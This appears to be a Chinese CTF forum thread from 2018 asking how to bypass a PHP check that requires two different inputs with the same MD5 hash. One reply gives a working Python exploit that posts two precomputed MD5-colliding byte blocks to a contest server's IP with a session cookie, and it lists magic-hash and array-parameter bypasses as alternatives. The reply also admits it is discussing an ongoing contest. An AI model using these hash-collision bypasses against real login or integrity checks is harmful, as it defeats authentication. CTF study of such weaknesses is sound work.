[CTF问题] 如何绕过?

[复制链接]
查看6160 | 回复1 | 2018-3-25 10:37:52 | 显示全部楼层 |阅读模式
if((string)$_POST['pwd1']!==(string)$_POST['pwd2'] && md5($_POST['pwd1'])===md5($_POST['pwd2']))


这个要怎么绕过?

回复

使用道具 举报

匿名 1nv0k3r | 2018-3-26 11:06:09 | 显示全部楼层
比赛期间不得讨论赛题哟兄弟
用fastcoll_v1.0.0.5可以生成两个md5相同的文件,是一个快速生成md5碰撞的工具
[mw_shl_code=python,true]from binascii import unhexlify
import requests

a = '''4F 51 E4 1A 41 8B 20 82 DE 19 76 9A B0 73 00 5F
2E BA AC 98 E4 9F 41 D9 06 12 3A 01 8D 27 B3 1C
8C F1 FD C6 E2 2C 28 F2 4F 26 48 04 AA 9B 92 66
2C D3 E6 E3 83 57 6C 36 1B 70 4D 46 F7 60 0F FB
44 07 29 BD 1B D7 63 53 A5 27 C6 2C 8E 8B 87 AA
FB DE 9E 15 F3 8B 87 EB 6C B5 CF C7 4B 9D C5 41
2D FC AC 6D 06 0A 8B 37 DC 9E 6B 51 10 0D EB 2C
91 E2 CF 7F E3 08 03 E1 6D 88 9C 6E 26 3D BC 9D
'''
b = '''4F 51 E4 1A 41 8B 20 82 DE 19 76 9A B0 73 00 5F
2E BA AC 18 E4 9F 41 D9 06 12 3A 01 8D 27 B3 1C
8C F1 FD C6 E2 2C 28 F2 4F 26 48 04 AA 1B 93 66
2C D3 E6 E3 83 57 6C 36 1B 70 4D C6 F7 60 0F FB
44 07 29 BD 1B D7 63 53 A5 27 C6 2C 8E 8B 87 AA
FB DE 9E 95 F3 8B 87 EB 6C B5 CF C7 4B 9D C5 41
2D FC AC 6D 06 0A 8B 37 DC 9E 6B 51 10 8D EA 2C
91 E2 CF 7F E3 08 03 E1 6D 88 9C EE 26 3D BC 9D
'''
a = a.replace(' ','')
a = a.replace('\n','')
b = b.replace(' ','')
b = b.replace('\n','')
url = 'http://39.107.33.96:10000/'
Cookies = {'PHPSESSID':'mlvibol8n9jlmajjsbfobotp56'}
#data = {'param1':'s155964671a','param2':'QNKCDZO'}
#data = {'param1[]':'s155964671a','param2[]':'QNKCDZO'}
data = {'param1':unhexlify(a),'param2':unhexlify(b)}
r = requests.post(url,cookies = Cookies, data = data)
print(r.text)[/mw_shl_code]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

匿名

1

主题

4

帖子

341

积分

炉火纯青

Rank: 4

积分
341